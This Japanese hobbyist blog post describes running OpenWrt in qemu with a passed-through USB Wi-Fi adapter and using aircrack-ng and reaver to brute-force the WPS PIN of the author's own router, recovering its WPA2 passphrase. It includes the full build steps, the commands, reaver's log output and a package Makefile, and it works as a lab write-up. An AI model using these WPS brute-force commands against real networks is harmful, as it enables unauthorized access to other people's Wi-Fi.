qemu で mips CPU をエミュレートして USB 無線 LAN アダプタ rt73usb を接続した仮想無線LANルータで,OpenWrt Linux を起動して,reaver-WPS が動作した。
WPA2-PSK AES を設定した 自分の FON2305e をターゲットにして reaver を実行し,1時間43分で秘密のパスフレーズがクラックできた。
ホストOSは,BackTrack 5。
reaver が仮想無線LANルータで動くなら,リアル無線LANルータの buffalo WHR-HP-GN や FON2200 でも動くはずだが NG だった。(waitting for beacon で止まってしまう)
qemu はこちらから qemu-1.0.1.tar.gz をダウンロードしてコンパイルした。
qemu-system-mipsel コマンドを今回使う。
openwrt のビルド方法は前記事と同様で,ターゲットに malta coreLV board を選ぶ。
また aircrack-ng と reaver-wps もコンパイルする。
aircrack-ng
cd ~/trunk
./scripts/feeds update
./scripts/feeds install aircrack-ng
reaver(~/trunk/package 下に mkdir reaver して,Makefile を置く。
Makefile はこの記事の一番下。
~/trunk/package/reaver/Makefile
make menuconfig で,Networking –> Wireless にaircrack-ng 及び reaver を選択する。
make V=99 でコンパイルすると,~/trunk/bin/malta/openwrt-malta-le-vmlinux.elf が出来上がる。
qemu-system-mipsel コマンドで openwrt を起動する。
“-usbdevice host:0411:00d8”はUSB 無線 LAN アダプタ buffalo WLI-U2-SG54HP のベンダーID:プロダクトIDで,qemu 上の openwrt からUSB無線LANアダプタを認識させる。
“-redir tcp:2222::22”はホストOSから localhost:2222で,qemu中の ssh の22番ポートにリダイレクトする。 “-net nic –net user”は仮想 NAT ルータ。”-m 256” はメモリの割り当て。
(ホストOS - BackTrack 5)
qemu-system-mipsel -kernel openwrt-malta-le-vmlinux.elf -nographic -m 256 -usbdevice host:0411:00d8 -net nic -net user -redir tcp:2222::22
起動後 root のパスワードを更新すると,ssh が有効になる。
eth0 をブリッジから外しておき udhcpc で qemu の仮想 nat ルータから eth0 に ip アドレス 10.0.2.15 が割り当てられる。
(openwrt - qemu)
ifoconfig eth0 down
brctl delif br-lan eth0
ifconfig eth0 up
udhcpc
,~/trunk/build_dir/targetxxxx/reaver-1.4.1/src/reaver.db を仮想マシンの /etc/reaver にコピーする。
(ホストOS - BackTrack 5)
scp -P 2222 reaver.db root@localhost:/tmp
The authenticity of host '[localhost]:2222 ([127.0.0.1]:2222)' can't be established.
RSA key fingerprint is e5:38:77:7b:0f:df:6a:fe:64:a2:ed:c0:52:d2:67:b1.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[localhost]:2222' (RSA) to the list of known hosts.
root@localhost's password:
reaver.db 100% 14KB 14.0KB/s 00:00
(openwrt - qemu)
mkdir /etc/reaver
cp /tmp/reaver.db /etc/reaver
airmon-ng start wlan0 で Monitor モードにする。iwconfig でターゲットの ESSID 及びchannel をセットする。ターゲットの BSSID やチャネルを指定して reaver を起動する。
(openwrt - qemu)
airmon-ng start wlan0
iwconfig wlan0 essid RalinkInitAP_ABEA34 channel 8
ifconfig wlan0 up
reaver -i mon0 -b 0:18:84:AB:EA:34 -c 8 –vv
Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner cheffner@tacnetsol.com
[+] Switching mon0 to channel 8
[ 451.600000] device mon0 entered promiscuous mode
[+] Waiting for beacon from 00:18:84:AB:EA:34
[+] Associated with 00:18:84:AB:EA:34 (ESSID: RalinkInitAP_ABEA34)
[ 451.950000] device mon0 left promiscuous mode
[ 452.960000] device mon0 entered promiscuous mode
[+] Trying pin 12345670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[ 458.530000] device mon0 left promiscuous mode
[ 459.600000] device mon0 entered promiscuous mode
[+] Trying pin 00005678
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
qemu でエミュレートした mips の openwrt で reaver が動作したので,同じ手順で buffalo WHR-HP-GN や FON2200でも動作すると思ったのだが,”waitting for beacon”から先に進まない。
qemu がサポートする malta coreLV board をターゲットにしてビルドした openwrt は,little endian にしている。WHR や FON はendian の違いなのだろうか?
それから こちらは ps で [crypto] が動作しているが,WHR や FON の openwrt は[crypto] が動作していない。
[crypto] の動作が reaver に必要なのだろうか?
reaver.db は,sqlite3 のDBファイルだが,無くても動作するので関係ないようだ。
それから WHR-HP-GN は ath9k, FON2200 は ath5k だが,qemu では rt73usb を使っている。無線LANドライバの違いが動作に影響しているのだろうか?
Reaver-WPS の Makefile (~/trunk/package/reaver/Makefile)
#
# Copyright (C) 2011 OpenWrt.org
#
# This is free software, licensed under the GNU General Public License v2.
# See /LICENSE for more information.
#
include $(TOPDIR)/rules.mkPKG_NAME:=reaver
PKG_VERSION:=1.4
PKG_RELEASE:=1PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION).tar.gz
PKG_SOURCE_URL:=http://reaver-wps.googlecode.com/files
PKG_MD5SUM:=05441dda7bacfcbe1e831c85d1ea3bc9include $(INCLUDE_DIR)/package.mk
define Package/reaver
SECTION:=net
CATEGORY:=Network
SUBMENU:=wireless
TITLE:=Brute force attack against Wifi Protected Setup
URL:=https://code.google.com/p/reaver-wps/
DEPENDS:=+libpcap +libsqlite3
endefdefine Package/reaver/description
Reaver targets the external registrar functionality mandated by the WiFi
Protected Setup specification.
Access points will provide authenticated registrars with their current
wireless configuration (including the WPA PSK), and also accept a new
configuration from the registrar.
endefCONFIGURE_PATH:=src
MAKE_PATH:=src
TARGET_CFLAGS+=$(TARGET_CPPFLAGS)
define Package/reaver/install
$(INSTALL_DIR) $(1)/usr/bin
$(INSTALL_BIN) $(PKG_BUILD_DIR)/src/reaver $(1)/usr/bin/
endef$(eval $(call BuildPackage,reaver))